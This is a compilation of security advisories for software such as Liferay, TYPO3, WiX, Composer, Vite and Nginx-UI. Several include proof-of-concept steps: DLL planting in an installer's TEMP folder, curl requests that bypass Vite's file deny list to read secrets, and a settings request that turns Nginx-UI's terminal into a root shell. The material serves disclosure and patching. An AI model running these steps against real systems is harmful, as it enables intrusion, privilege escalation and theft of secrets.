This vulnerability was found and disclosed by [William Khem-Marquez](https://github.com/SteakEnthusiast).


Liferay Portal Calendar module and Liferay DXP vulnerable to Cross-site Scripting, content spoofing

[Severity: MEDIUM]

The Calendar module in Liferay Portal 7.2.0 through 7.4.2, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 15, and older unsupported versions does not escape user supplied data in the default notification email template, which allows remote authenticated users to inject arbitrary web script or HTML via the title of a calendar event or the user's name. This may lead to a content spoofing or cross-site scripting (XSS) attacks depending on the capability of the receiver's mail client.


Liferay Portal's Dynamic Data Mapping module's DDMForm and Liferay DXP vulnerable to stored Cross-site Scripting

[Severity: CRITICAL]

Stored cross-site scripting (XSS) vulnerability in the Dynamic Data Mapping module's DDMForm in Liferay Portal 7.2.0 through 7.4.3.4, and older unsupported versions, and Liferay DXP 7.4.13, 7.3 before update 4, 7.2 before fix pack 17, and older unsupported versions allows remote authenticated users to inject arbitrary web script or HTML via the instanceId parameter.


Liferay Portal and Liferay DXP's HtmlUtil.escapeRedirect Can Be Circumvented via Two Forward Slashes

[Severity: MEDIUM]

HtmlUtil.escapeRedirect in Liferay Portal 7.2.0 through 7.4.3.12, and older unsupported versions, and Liferay DXP 7.4 before update 9, 7.3 service pack 3, 7.2 fix pack 15 through 18, and older unsupported versions can be circumvented by using two forward slashes, which allows remote attackers to redirect users to arbitrary external URLs via the (1) 'redirect` parameter (2) `FORWARD_URL` parameter, and (3) others parameters that rely on HtmlUtil.escapeRedirect. This vulnerability is the result of an incomplete fix in CVE-2022-28977.


Liferay Portal and Liferay DXP's HtmlUtil.escapeRedirect Can Be Circumvented via Replacement Character

[Severity: MEDIUM]

HtmlUtil.escapeRedirect in Liferay Portal 7.2.0 through 7.4.3.18, and older unsupported versions, and Liferay DXP 7.4 before update 19, 7.3 before update 4, 7.2 before fix pack 19, and older unsupported versions can be circumvented by using the 'REPLACEMENT CHARACTER' (U+FFFD), which allows remote attackers to redirect users to arbitrary external URLs via the (1) 'redirect` parameter (2) `FORWARD_URL` parameter, (3) `noSuchEntryRedirect` parameter, and (4) others parameters that rely on HtmlUtil.escapeRedirect.


Liferay Portal and Liferay DXP Allows Authenticated Users with View Permissions to Edit Permissions

[Severity: MEDIUM]

Liferay Portal 7.2.0 through 7.4.3.4, and older unsupported versions, and Liferay DXP 7.4.13, 7.3 before service pack 3, 7.2 before fix pack 17, and older unsupported versions does not properly check user permissions, which allows remote authenticated users with the VIEW user permission to edit their own permission via the User and Organizations section of the Control Panel.


Liferay Portal and Liferay DXP Does Not Properly Restrict Membership to Child Site Based on Parent Site Options

[Severity: MEDIUM]

Liferay Portal 7.2.0 through 7.4.1, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 15, and older unsupported versions does not properly restrict membership of a child site when the "Limit membership to members of the parent site" option is enabled, which allows remote authenticated users to add users who are not a member of the parent site to a child site. The added user may obtain permission to perform unauthorized actions in the child site.


TYPO3 vulnerable to Improper Access Control Persisting File Abstraction Layer Entities via Data Handler

[Severity: HIGH]

### Problem
Entities of the File Abstraction Layer (FAL) could be persisted directly via `DataHandler`. This allowed attackers to reference files in the fallback storage directly and retrieve their file names and contents. The fallback storage ("zero-storage") is used as a backward compatibility layer for files located outside properly configured file storages and within the public web root directory. Exploiting this vulnerability requires a valid backend user account.

### Solution
Update to TYPO3 versions 8.7.57 ELTS, 9.5.46 ELTS, 10.4.43 ELTS, 11.5.35 LTS, 12.4.11 LTS, 13.0.1 that fix the problem described.

#### ℹ Strong security defaults - Manual actions required

When persisting entities of the File Abstraction Layer directly via DataHandler, `sys_file` entities are now denied by default, and `sys_file_reference` & `sys_file_metadata` entities are not permitted to reference files in the fallback storage anymore.

When importing data from secure origins, this must be explicitly enabled in the corresponding DataHandler instance by using `$dataHandler->isImporting = true;`.

### Credits
Thanks to TYPO3 core & security team member Oliver Hader who reported and fixed the issue.

### References
* [TYPO3-CORE-SA-2024-006](https://typo3.org/security/advisory/typo3-core-sa-2024-006)


WiX Toolset's .be TEMP folder is vulnerable to DLL redirection attacks that allow the attacker to escalate privileges

[Severity: HIGH]

### Summary
.be TEMP folder is vulnerable to DLL redirection attacks that allow the attacker to escalate privileges.

### Details
If the bundle is not run as admin, the user's TEMP folder is used and not the system TEMP folder. A utility is able to monitor the user's TEMP folder for changes and drop its own DLL into the **.be/<bundle>.Local** folder immediately when the .be folder is created. When the burn engine elevates, the malicious DLL receives elevated privileges.

### PoC
As a standard, non-admin user:
1. Monitor the user's TEMP folder for changes using ReadDirectoryChangesW
2. On FILE_ACTION_ADDED, check if the folder name is .be
3. Create a folder in .be named after the bundle + .Local (e.g. MyInstaller.exe.Local)
4. Put the malicious COMCTL32.DLL in the .Local folder following the naming used for the real DLL (e.g. MyInstaller.exe.Local/x86_microsoft.windows.common-controls_.../COMCTL32.dll)
5. Do hacker things when the engine escalates and the malicious DLL is loaded

Proper naming for the path can be obtained by using GetModuleHandle("comctl32.dll") and GetModuleFileName.

### Impact
DLL redirection utilizing .exe.Local Windows capability. This impacts any installer built with the WiX installer framework.


Composer code execution and possible privilege escalation via compromised InstalledVersions.php or installed.php

[Severity: HIGH]

### Impact

Several files within the local working directory are included during the invocation of Composer and in the context of the executing user.

As such,  under certain conditions arbitrary code execution may lead to local privilege escalation, provide lateral user movement or malicious code execution when Composer is invoked within a directory with tampered files.

All Composer CLI commands are affected, including composer.phar's self-update.

The following are of high risk:

- Composer being run with sudo.
- Pipelines which may execute Composer on untrusted projects.
- Shared environments with developers who run Composer individually on the same project.

### Patches

2.7.0, 2.2.23

### Workarounds

- It is advised that the patched versions are applied at the earliest convenience.

Where not possible, the following should be addressed:
- Remove all sudo composer privileges for all users to mitigate root privilege escalation.
- Avoid running Composer within an untrusted directory, or if needed, verify that the contents of `vendor/composer/InstalledVersions.php` and `vendor/composer/installed.php` do not include untrusted code.

A reset can also be done on these files by the following:

```sh
rm vendor/composer/installed.php vendor/composer/InstalledVersions.php
composer install --no-scripts --no-plugins
```


Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting') in trillium-http and trillium-client

[Severity: MEDIUM]

### Summary
Insufficient validation of outbound header values may lead to request splitting or response splitting attacks in scenarios where attackers have sufficient control over outbound headers.

### Details
Outbound `trillium_http::HeaderValue` and `trillium_http::HeaderName` can be constructed infallibly and were not checked for illegal bytes when sending requests from the client or responses from the server. Thus, if an attacker has sufficient control over header values (or names) in a request or response that they could inject `\r\n` sequences, they could get the client and server out of sync, and then pivot to gain control over other parts of requests or responses. (i.e. exfiltrating data from other requests, SSRF, etc.)

### Patches

#### trillium-http >= 0.3.12:
* If a header name is invalid in server response headers, the specific header and any associated values are omitted from network transmission.
* If a header value is invalid in server response headers, the individual header value is omitted from network transmission. Other headers values with the same header name will still be sent.

#### trillium-client >= 0.5.4:
* If any header name or header value is invalid in the client request headers, awaiting the client Conn returns an `Error::MalformedHeader` prior to any network access.

### Workarounds

trillium services and client applications should sanitize or validate untrusted input that is included in header values and header names. Carriage return, newline, and null characters are not allowed.

### Impact

This only affects use cases where attackers have control of outbound headers, and can insert "\r\n" sequences. Specifically, if untrusted and unvalidated input is inserted into header names or values.

### A note on timing from @jbr on behalf of `trillium-rs`

@divergentdave filed this vulnerability many months ago but I did not see it until the evening of Jan 23, 2024. Patches were issued less than 24h after reading the vulnerability. The [security policy](https://github.com/trillium-rs/trillium/blob/main/SECURITY.md) has been [updated](https://github.com/trillium-rs/trillium/commit/b27950ceae52aa7a0f482494fe67b6069234d417) to avoid delays like this in the future.


Go package github.com/notaryproject/notation configured with permissive trust policies potentially susceptible to rollback attack from compromised registry

[Severity: MEDIUM]

### Impact
An external actor with control of a compromised container registry can provide outdated versions of OCI artifacts, such as Images. This could lead artifact consumers with relaxed trust policies (such as `permissive` instead of `strict`) to potentially use artifacts with signatures that are no longer valid, making them susceptible to any exploits those artifacts may contain.

### Mitigation
In Notary Project, an artifact publisher can control the validity period of artifact by specifying signature expiry during the signing process. Using shorter signature validity periods along with processes to periodically resign artifacts, allows artifact producers to ensure that their consumers will only receive up-to-date artifacts. Artifact consumers should correspondingly use a `strict` or equivalent trust policy that enforces signature expiry. Together these steps enable use of up-to-date artifacts and safeguard against rollback attack in the event of registry compromise. The Notary Project offers various signature validation options such as `permissive`, `audit` and `skip` to support various scenarios. These scenarios includes 1) situations demanding urgent workload deployment, necessitating the bypassing of expired or revoked signatures; 2) auditing of artifacts lacking signatures without interrupting workload; and 3) skipping of verification for specific images that might have undergone validation through alternative mechanisms.

Additionally, the Notary Project supports revocation to ensure the signature freshness. Artifact publishers can sign with short-lived certificates and revoke older certificates when necessary. This revocation serves as a signal to inform artifact consumers that the corresponding unexpired artifact is no longer approved by the publisher. This enables the artifact publisher to control the validity of the signature independently of their ability to manage artifacts in a compromised registry.

### Credit
The Notary Project extends its gratitude to Justin Cappos (@JustinCappos) for responsibly disclosing the issue.

_**Note:** we have updated [threat model](https://github.com/notaryproject/specifications/blob/main/threatmodels/notation-threatmodel.md) to include considerations for rollback attack.


Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem

[Severity: HIGH]

### Summary
[Vite dev server option](https://vitejs.dev/config/server-options.html#server-fs-deny) `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

### Patches
Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17

### Details
Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See `picomatch`  usage, where `nocase` is defaulted to `false`: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files.

### PoC
**Setup**
1. Created vanilla Vite project using `npm create vite@latest` on a Standard Azure hosted Windows 10 instance.
    - `npm run dev -- --host 0.0.0.0`
    - Publicly accessible for the time being here: http://20.12.242.81:5173/
2. Created dummy secret files, e.g. `custom.secret` and `production.pem`
3. Populated `vite.config.js` with
```javascript
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
```

**Reproduction**
1. `curl -s http://20.12.242.81:5173/@fs//`
    - Descriptive error page reveals absolute filesystem path to project root
2. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js`
    - Discoverable configuration file reveals locations of secrets
3. `curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT`
    - Secrets are directly accessible using case-augmented version of filename

**Proof**
![Screenshot 2024-01-19 022736](https://user-images.githubusercontent.com/907968/298020728-3a8d3c06-fcfd-4009-9182-e842f66a6ea5.png)

### Impact
**Who**
- Users with exposed dev servers on environments with case-insensitive filesystems

**What**
- Files protected by `server.fs.deny` are both discoverable, and accessible


CL-Signatures Revocation Scheme in Ursa has flaws that allow a holder to demonstrate non-revocation of a revoked credential

[Severity: MEDIUM]

### Summary

The revocation schema that is part of the Ursa CL-Signatures implementations has a flaw that could impact the privacy guarantees defined by the AnonCreds verifiable credential model, allowing a malicious holder of a revoked credential to generate a valid Non-Revocation Proof for that credential as part of an AnonCreds presentation.

### Details

The revocation schema that is part of the Ursa CL-Signatures implementation has a flaw that could impact the privacy guarantees defined by the AnonCreds verifiable credential model, allowing a malicious holder of a revoked credential to generate a valid Non-Revocation Proof for that credential as part of an AnonCreds presentation.

The flaw exists in all CL-Signature versions published from the [Hyperledger Ursa] repository to the [Ursa Rust Crate], and are fixed in all versions published from the [Hyperledger AnonCreds CL-Signatures] repository to the [AnonCreds CL-Signatures Rust Crate].

To exploit the flaw, a holder must update their wallet (agent) software, replacing the Hyperledger Ursa or AnonCreds CL-Signatures library that generates the proof of non-revocation. This may involve, for example, altering an iOS or Android application published in the respective app stores. A mitigation for this flaw is to use the application attestation capabilities (such as the Android "[SafetyNet Attestation API]") offered by the app store vendors to (for example) "help determine whether your servers are interacting with your genuine app running on a genuine Android device."

The problem is created in the generation of a revocation registry, prior to issuing any credentials. As such, to eliminate the impact of the flaw, the issued credentials must be re-issued based on a correct revocation registry, generated from a correct implementation, such as [Hyperledger AnonCreds CL-Signatures].

[Hyperledger Ursa]: https://github.com/hyperledger-archives/ursa
[Ursa Rust Crate]: https://crates.io/crates/ursa
[Hyperledger AnonCreds CL-Signatures]: https://github.com/hyperledger/anoncreds-clsignatures-rs
[AnonCreds CL-Signatures Rust Crate]: https://crates.io/crates/anoncreds-clsignatures
[SafetyNet Attestation API]: https://developer.android.com/privacy-and-security/safetynet/attestation
### Impact
The potential impact is as follows:

- A verifier may verify a credential from a holder as being "not revoked" when in fact, the holder's credential has been revoked.

### Mitigation

Upgrade libraries/applications using the [Ursa Rust Crate] to any version of the [AnonCreds CL-Signatures Rust Crate]. If your application has issued revocable credentials, once the Issuer library has been upgraded, new revocation registries must be created, and credentials issued from revocation registries created with the the flawed software must be revoked and reissued.

A verifier can detect if a holder presents a flawed revocable credential.


Authenticated (user role) arbitrary command execution by modifying `start_cmd` setting (GHSL-2023-268)

[Severity: HIGH]

### Summary
Nginx-UI is a web interface to manage Nginx configurations. It is vulnerable to arbitrary command execution by abusing the configuration settings.

### Details
The `Home > Preference` page exposes a list of system settings such as `Run Mode`, `Jwt Secret`, `Node Secret` and `Terminal Start Command`. The latter is used to specify the command to be executed when a user opens a terminal from the web interface. While the UI doesn't allow users to modify the `Terminal Start Command` setting, it is possible to do so by sending a request to the [API](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/router.go#L13).

```go
func InitPrivateRouter(r *gin.RouterGroup) {
    r.GET("settings", GetSettings)
    r.POST("settings", SaveSettings)
    ...
}
```

The [`SaveSettings`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/system/settings.go#L18) function is used to save the settings. It is protected by the [`authRequired`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/router/middleware.go#L45) middleware, which requires a valid JWT token or a `X-Node-Secret` which must equal the `Node Secret` configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.

The `SaveSettings` function is defined as follows:

```go
func SaveSettings(c *gin.Context) {
    var json struct {
        Server settings.Server `json:"server"`
        ...
    }

    ...

    settings.ServerSettings = json.Server

    ...

    err := settings.Save()
    ...
}
```

The `Terminal Start Command` setting is stored as [`settings.ServerSettings.StartCmd`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/settings/server.go#L12). By spawning a terminal with [`Pty`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/api/terminal/pty.go#L11), the `StartCmd` setting is used:

```go
func Pty(c *gin.Context) {
	...

	p, err := pty.NewPipeLine(ws)

	...
}
```

The [`NewPipeLine`](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/internal/pty/pipeline.go#L29) function is defined as follows:

```go
func NewPipeLine(conn *websocket.Conn) (p *Pipeline, err error) {
	c := exec.Command(settings.ServerSettings.StartCmd)

    ...
```
This issue was found using CodeQL for Go: [Command built from user-controlled sources](https://codeql.github.com/codeql-query-help/go/go-command-injection/).

#### Proof of Concept
> Based on [this setup](https://github.com/0xJacky/nginx-ui/blob/04bf8ec487f06ab17a9fb7f34a28766e5f53885e/README.md?plain=1#L210) using `uozi/nginx-ui:v2.0.0-beta.7`.
1. Login as a newly created user.
2. Send the following request to modify the settings with `"start_cmd":"bash"` :
```http
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 512
Authorization: <<JWT TOKEN>>
Content-Type: application/json

{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"...","node_secret":"...","http_challenge_port":"9180","email":"...","database":"foo","start_cmd":"bash","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
```
3. Open a terminal from the web interface and execute arbitrary commands as `root`:
```
root@1de46642d108:/app# id
uid=0(root) gid=0(root) groups=0(root)
```

### Impact
This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.